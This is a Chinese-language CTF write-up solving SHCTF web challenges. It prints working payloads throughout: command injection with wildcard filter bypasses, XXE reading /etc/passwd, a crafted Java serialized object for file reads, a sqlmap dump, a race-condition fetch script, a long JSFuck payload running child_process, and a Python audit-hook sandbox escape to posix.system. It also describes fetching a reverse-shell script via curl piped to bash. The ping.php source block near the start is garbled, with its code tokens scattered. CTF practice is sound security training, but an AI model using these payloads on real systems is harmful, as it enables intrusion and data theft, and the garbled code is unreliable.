跳到主要内容
SHCTF 第三届 Web 部分题目 Writeup | 极客日志
编程语言 Node.js AI java
SHCTF 第三届 Web 部分题目 Writeup SHCTF 第三届比赛中 Web 方向的多个题目解题思路。涵盖命令执行绕过(通配符、管道)、XXE 注入、Java 反序列化文件读取、Go WAF 大小写绕过、SQL 注入、JSFuck 代码执行、Python 沙箱逃逸及审计钩子绕过、以及 MCP 服务器路径遍历漏洞利用。通过源码分析、Payload 构造及后渗透提权,展示了从基础漏洞到复杂逻辑绕过的全流程技术细节。
苹果系统 发布于 2026/4/5 更新于 2026/7/18 54 浏览[阶段 1] ez-ping
靶机展示
还是比较简单,不过估计 flag 是关键字会被拦截。
payload
看到 flag 在根目录下,估计 cat / flag 都是敏感字都被拦了,读文本文件除了 cat 以外 tail / head 等都很常用,加上用通配符 ? 绕过即可。
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && ls /'
curl 'http://challenge.shc.tf:31693/ping.php' --data-urlencode '-c 1 127.0.0.1 && tail /?la?'
源码过滤+getshell
直接 ls 可以看到当前目录的 .php 文件,我们看下源码尝试 getshell。拦截规则在 ping.php,白名单允许 字母数字、.、-、/、?、*,虽然 * 也在里面不过下面黑名单也有。拿 shell 也比较简单,虽然直接在网页上拼接 revshell 命令失败了,不过我们可以让靶机从 vps 直接下载 revshell 脚本,用 curl / wget + 管道符 | bash / sh 即可。
<?php
header ('Content-Type: text/plain; charset=utf-8' );
if ($_SERVER ['REQUEST_METHOD' ]==='POST' ){
$domain =$_POST ['domain' ] ?? '' ;
if (!preg_match ('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/' , $domain )){
http_response_code (400 );
echo ;
;
}
{
= . ;
(! ( , )){
= ( . );
} {
= ;
}
?: ;
} ( ){
( );
. -> ();
}
}
"无效的域名!"
exit
try
$cmd
"ping -c 4 "
$domain
if
preg_match
'/cat|tac|flag|\*/'
$cmd
$output
shell_exec
$cmd
" 2>&1"
else
$output
"命令中包含非法字符!"
echo
$output
"命令执行失败!"
catch
Exception
$e
http_response_code
500
echo
"错误:"
$e
getMessage
?>
[阶段 2] Mini Blog
靶机展示 看到是个很简单的 blog 页面,可以发表文章以及修改个人信息。
简单信息收集 看到是 Python 搭建的服务器,第一反应是 SSTI,但是实际上并不是(主页可以看到其实我已经尝试了 {{ 7*7 }} 这种模板注入但并无效果),不死心再用 tplmap 跑了遍尝试也未能找到注入点。
攻击思路 看到数据是 XML 格式提交,那大概率是 XXE 实体注入了。
PAYLOAD 用 XXE 的 payload 看了下 /etc/passwd 直接就有回显了。
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPEfoo[ <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]>
<post > <title > &xxe; </title > <content > 123</content > </post >
get flag 因为不知道 flag 具体位置,随便测试了下,运气好用 /flag 直接拿到了 flag 了。
[阶段 3] 你也懂 java? 题干: 源代码和二进制已经全部在这里了,没有任何秘密。
靶机展示 靶机主页打开后可以看到是一段源码,看上去是后端逻辑代码,并且有 /upload 接口,其中 new ObjectInputStream(exchange.getRequestBody(),未经校验将 body 传入,大概率是反序列化的打法。
网页源码 String method = exchange.getRequestMethod();
String path = exchange.getRequestURI().getPath();
if ("POST" .equalsIgnoreCase(method) && "/upload" .equals(path)) {
try (ObjectInputStream ois = new ObjectInputStream (exchange.getRequestBody())) {
Object obj = ois.readObject();
if (obj instanceof Note) {
Note note = (Note) obj;
if (note.getFilePath() != null ) {
echo(readFile(note.getFilePath()));
}
}
} catch (Exception e) {}
}
Note.jar 比赛环境赛题直接提供了 Note.jar 下载,下载下来用 jd-gui 查看下,代码如下,有 3 个私有变量,知道了 Note 对象的属性。
import java.io.Serializable;
public class Note implements Serializable {
private static final long serialVersionUID = 1L ;
private String title;
private String message;
private String filePath;
public Note (String title, String message, String filePath) {
this .title = title;
this .message = message;
this .filePath = filePath;
}
}
攻击思路 Note 对象调用了 getFilePath(),大概率是任意文件读取,因为后端逻辑没有校验传入,可构造恶意类,设置 FilePath 为敏感文件路径,用 /etc/passwd 或者 /etc/hostname 这种验证下。
创建恶意类
import java.io.*;
public class Exp {
public static void main (String[] args) {
try {
Note note = new Note ("Exploit" , "Reading Flag" , "/etc/passwd" );
FileOutputStream fos = new FileOutputStream ("payload.ser" );
ObjectOutputStream oos = new ObjectOutputStream (fos);
oos.writeObject(note);
oos.close();
System.out.println("Payload 已生成:payload.ser" );
} catch (Exception e) { e.printStackTrace(); }
}
}
设置 JDK 环境 kali 默认没 javac,不过碰巧因为打其他靶场传了个 jdk7 就用这个版本,当前 shell 环境要设好环境变量,后面成功编译的前提。
export JAVA_HOME=/home/kali/Desktop/jdk7
export PATH=$JAVA_HOME /bin:$PATH
编译恶意类 将 Note.java 和 Exp.java 放在同一个目录,编译后用 curl --data-binary 发送,因输出较多用 grep 过滤下关键字,看到已读取到了 /etc/passwd。
修改恶意类尝试得到 flag 因不知 flag 具体位置在哪先尝试 /flag,修改 Exp.java 中然后重新编译后并发送 payload,可以看到顺利拿到了 flag。
利用 python 直接发 payload 这道题目也可以利用 python + java 反序列化的特性,跳过用编译环节直接发送 payload,继而直接拿到 flag 或者相应的文件。
更加偷懒的方法 用下面的 payload,不但不用 jdk 编译恶意类,连 python 都省了。
echo -ne "\xac\xed\x00\x05\x73\x72\x00\x04\x4e\x6f\x74\x65..." > payload.bin
curl -X POST http://challenge.shc.tf:31865/upload --data-binary @payload.bin | grep SHCTF
[阶段 2] Go 题干: 我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的 admin 角色请求。
靶机展示
过 waf+get flag 一开始尝试发送 GET 无效,改用 POST 发送发现响应改变。尝试 bypass 发现可以通过修改参数大小写绕过,预计防火墙只拦截了小写的 role。
curl "http://challenge.shc.tf:31025/" -d '{"Role":"admin"}'
[阶段 1] 上古遗迹档案馆 题干: 你咋直接攻击我啊?渗透测试里不是这样的啊!你应该先向我发送一个数据确认我是什么类型的题目...
靶机展示
SQL 注入 这道题比较简单的,以 1' 作为参数就报错了。后面手注或者 sqlmap 都可以,最终 flag 路径在 archive_db-->secret_vault->secret_key。
sqlmap -u http://challenge.shc.tf:30879/?id =* --batch -D archive_db -T secret_vault --dump
[阶段 1] kill_king 题干: 提升自己,杀死 King,或者,做点别的???
靶机展示 可以看到是个网页游戏,打开游戏后按 F12 打不开控制台估计被代码屏蔽了,不过可以先开控制台再打开网页就可以绕过。
攻击思路 这种 javascript 一般控制台都可以通过调整变量值、修改函数等方式,修改游戏底层逻辑代码,直接绕过初始设定。查看源码可以看到 javascript 源代码在 logic.js。
控制台中输入 _this.damage = 9999; 可实现一刀 99999 的效果,另外下面这个 payload 可以直接跳到最后一关国王:
_this.stage =10 ; _this.enemiesDefeated =10 ; _this.enemy =newEnemy (3000 *20 ,"King Trost" );
_this.boss =true ; _this.damage =99999 ;
第二层 php 审计 在普通浏览器中过关会直接重定向到 xxx/check.php 刷新就会发现又 No access,通过 burpsuite 分析可以看到过关时 POST 会携带参数 result=win 访问 check.php。
使用 curl 发送 POST 可以看到 PHP 源码如下,除了 result 参数外,还提交 who / are / you 三个参数,其中 who / are 必须是数字,而 you 只能匹配非单词的字符。
<?php
if ($_SERVER ['REQUEST_METHOD' ]==='POST' ){
if (isset ($_POST ['result' ])&&$_POST ['result' ]==='win' ){
highlight_file (__FILE__ );
if (isset ($_GET ['who' ])&&isset ($_GET ['are' ])&&isset ($_GET ['you' ])){
$who =(String)$_GET ['who' ];
$are =(String)$_GET ['are' ];
$you =(String)$_GET ['you' ];
if (is_numeric ($who )&&is_numeric ($are )){
if (preg_match ('/^\W+$/' , $you )){
$code =eval ("return $who $you $are ;" );
echo "$who $you $are = " .$code ;
}
}
}
}
}
?>
php 审计攻击思路 这道题 get 传入三个参数,分别是 who / are / you,其中:
who 和 are 必须是数字;
you 从头到尾每一个字符都不能是字母、数字或下划线;
最终三个参数需要拼接成 return $who$you$are,同时要可以过 eval() 函数,也就是说必须是个合法的 php 的代码。
http://challenge.shc.tf:32551/check.php?who =1&are=2&you=?%28~%8c%86%8c%8b%9a%92%29%28~%96%9b%29:
最后是半成品的 payload 先用 .py 脚本生成要执行的命令,使用 curl 将 payload 传递给靶机。
payload=$(python payload.py "cat /flag" )
curl -s -X POST "http://challenge.shc.tf:30940/check.php?who=1&are=2&you=$payload " -d "result=win"
[阶段 1] ez_race
靶机展示
攻击思路 核心有问题的源码是提现功能的 def form_valid() 函数,故意设置了 1 秒延迟,如果高并发可以多次提现提到余额为负,另外业务逻辑中,当余额为负数就会爆 flag。
def form_valid (self, form ):
amount = form.cleaned_data["amount" ]
with transaction.atomic():
time.sleep(1.0 )
user = models.User.objects.get(pk=self .request.user.pk)
if user.money >= amount:
user.money = F('money' )- amount
user.save()
if user.money <0 :<------ 金额小于 0 会爆 flag
return HttpResponse(os.environ.get("FLAG" ,"flag{flag_test}" ))
payload 选到提现页面贴入 payload 然后发送到 console,如果失败的话,访问 /reset 接口,领取红包确保余额有 10 元再发送 payload。
(async ()=>{
const csrfTokenValue = document .querySelector ('[name=csrfmiddlewaretoken]' )?.value ;
const withdrawUrl = window .location .pathname ;
const amount =10 ;
const bodyData =`csrfmiddlewaretoken=${csrfTokenValue} &amount=${amount} ` ;
const requests = Array .from ({length :10 },async (v, i)=>{
try {
const res =await fetch (withdrawUrl,{method :"POST" ,headers :{"Content-Type" :"application/x-www-form-urlencoded" ,"X-CSRFToken" : csrfTokenValue },body : bodyData });
const text =await res.text ();
if (text.includes ("SHCTF{" )){ console .log (`[Thread ${i} ] 成功!获取到 Flag` ); return text.match (/(flag|CTF)\{.*?\}/ )[0 ];}
}catch (e){ console .error (`[Thread ${i} ] 网络连接中断:${e.message} ` );}
return null ;
});
const allResults =await Promise .all (requests);
const finalFlag = allResults.find (r => r !==null );
if (finalFlag){ console .log (`恭喜!最终 Flag: ${finalFlag} ` );}
})();
[阶段 1] calc?js?f**k!
靶机展示 打开看到是个计算机,向 /calc 接口提交 POST 请求,传参 expr。
源码 因为网页有源码,可以看到只允许除了 8 以外的数字以及一些符号。
const WAF =(recipe )=>{
const ALLOW_CHARS =/^[012345679!\.\-\+\*\/\(\)\[\]]+$/ ;
if (ALLOW_CHARS .test (recipe)){return true ;}
return false ;
};
function calc (operator ){return eval (operator);}
app.post ('/calc' ,(req, res )=> {
const { expr }= req.body ;
if (WAF (expr)){var result =calc (expr); res.json ({ result });}
else { res.json ({"result" :"WAF" });}
});
攻击思路 jsf*ck 只需要 !、[ 、] 即可完成攻击,白名单字符已绝对够用。
利用 jsf**k 网站
查看根目录 process.mainModule.require('child_process').execSync('ls /').toString() payload 利用 jsf**k 转换,放入网站下图框中,注意 Eval Source 需要勾选。
利用 curl / hackbar / python 等工具发送 payload,注意选择 application/json。
最终读取 flag 的 payload 如下,可修改端口可直接复用。
curl -X POST http://challenge.shc.tf:30518/calc -H "Content-Type: application/json" -d '{"expr":"[][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(+[![]]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+!+[]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[!+[]+!+[]])+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]])()([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]]+((!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+[+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+[]]+(!![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+[+!+[]])[(![]+[])[!+[]+!+[]+!+[]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]]((!![]+[])[+[]])[([][(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([![]]+[][[]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]](([][(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((!![]+[])[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+([][[]]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+!+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+![]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])()[([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]])+[])[+!+[]])+([]+[])[(![]+[])[+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]()[+!+[]+[!+[]+!+[]]])())"}
[阶段 1] Ezphp 题干: 在未来的某一天,人类已经能够进行太阳系内的旅行...
[阶段 1] Eazy_Pyrunner 题干: 任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。
靶机展示
攻击思路
展示页上 关于 这里可能存在文件包含漏洞。
文本框内可以运行 Python 代码,会有暴露很多线索,另外这种题型大概率是绕过后 RCE。
dir() 下可以看到两个莫名其妙的函数,大概率是审计钩子。
文件包含获得源码 from flask import Flask, render_template_string, request, jsonify
import subprocess
import tempfile
import os
import sys
app = Flask(__name__)
@app.route('/' )
def index ():
file_name = request.args.get('file' ,'pages/index.html' )
try :
with open (file_name,'r' , encoding='utf-8' )as f:
content = f.read()
except Exception as e:
with open ('pages/index.html' ,'r' , encoding='utf-8' )as f:
content = f.read()
return render_template_string(content)
def waf (code ):
blacklisted_keywords =['import' ,'open' ,'read' ,'write' ,'exec' ,'eval' ,'__' ,'os' ,'sys' ,'subprocess' ,'run' ,'flag' ,'\'' ,'"' ]
for keyword in blacklisted_keywords:
if keyword in code:return False
return True
@app.route('/execute' , methods=['POST' ] )
def execute_code ():
code = request.json.get('code' ,'' )
if not code:return jsonify({'error' :'请输入 Python 代码' })
if not waf(code):return jsonify({'error' :'Hacker!' })
try :
with tempfile.NamedTemporaryFile(mode='w' , suffix='.py' , delete=False )as f:
f.write(f"""import sys
sys.modules['os'] = 'not allowed'
def is_my_love_event(event_name): return event_name.startswith("Nothing is my love but you.")
def my_audit_hook(event_name, arg): if len(event_name) > 0: raise RuntimeError("Too long event name!") if len(arg) > 0: raise RuntimeError("Too long arg!") if not is_my_love_event(event_name): raise RuntimeError("Hacker out!") __import__('sys').addaudithook(my_audit_hook)
{code} """ )
temp_file_name = f.name
result = subprocess.run([sys.executable, temp_file_name], capture_output=True , text=True , timeout=10 )
os.unlink(temp_file_name)
return jsonify({'stdout' : result.stdout,'stderr' : result.stderr })
except subprocess.TimeoutExpired:return jsonify({'error' :'代码执行超时(超过 10 秒)' })
except Exception as e:return jsonify({'error' :f'执行出错:{str (e)} ' })
finally :
if os.path.exists(temp_file_name): os.unlink(temp_file_name)
if __name__ =='__main__' : app.run(debug=True )
blacklist 涉及如下关键字:['import', 'open', 'read', 'write', 'exec', 'eval', '__', 'os', 'sys', 'subprocess', 'run', 'flag', '\'', '"']。
sys.modules['os'] = 'not allowed' # os 不让用
return event_name.startswith("Nothing is my love but you.") # event name 必须以 关键字开头
len(event_name) > 0 # event name 不能大于 0
len(arg) # 参数不能大于 0
payload 这道题相对还是比较简单,可以用内置方法让审计函数失效,再通过 posix 等来执行命令,具体 payload 在下面,复用的时候 注意把注释中和 blacklist 冲突的关键字删掉 。
g =globals ()
g[bytes ([105 ,115 ,95 ,109 ,121 ,95 ,108 ,111 ,118 ,101 ,95 ,101 ,118 ,101 ,110 ,116 ]).decode()]=lambda x:True
bi[bytes ([108 ,101 ,110 ]).decode()]=lambda x:0
try :
s_mod = g[bytes ([115 ,121 ,115 ]).decode()]
m_dict =getattr (s_mod,bytes ([109 ,111 ,100 ,117 ,108 ,101 ,115 ]).decode())
po_mod = m_dict.get(bytes ([112 ,111 ,115 ,105 ,120 ]).decode())
s_func =getattr (po_mod,bytes ([115 ,121 ,115 ,116 ,101 ,109 ]).decode())
s_func(bytes ([105 ,100 ]).decode())
except : pass
运行 payload 后发现已经可以 RCE 了。
get shell + flag 反弹可以用下面的方法,注意要先编码。
进去后看到 /flag 无权限查看,但本地有个 /read_flag,运行就可以读到 flag。
其他思路 这道题可以注入阻塞类代码比如数字很大的求和,让代码运行时间较长,同时提前在代码注释插入 request.files.get 等方法,如果可以通过文件包含读到缓存文件或者 /proc/self/fd/ 下面的文件,那就可以用二次渲染的 ssti 注入。不过测试了几次都没能成功,这里抛个砖。
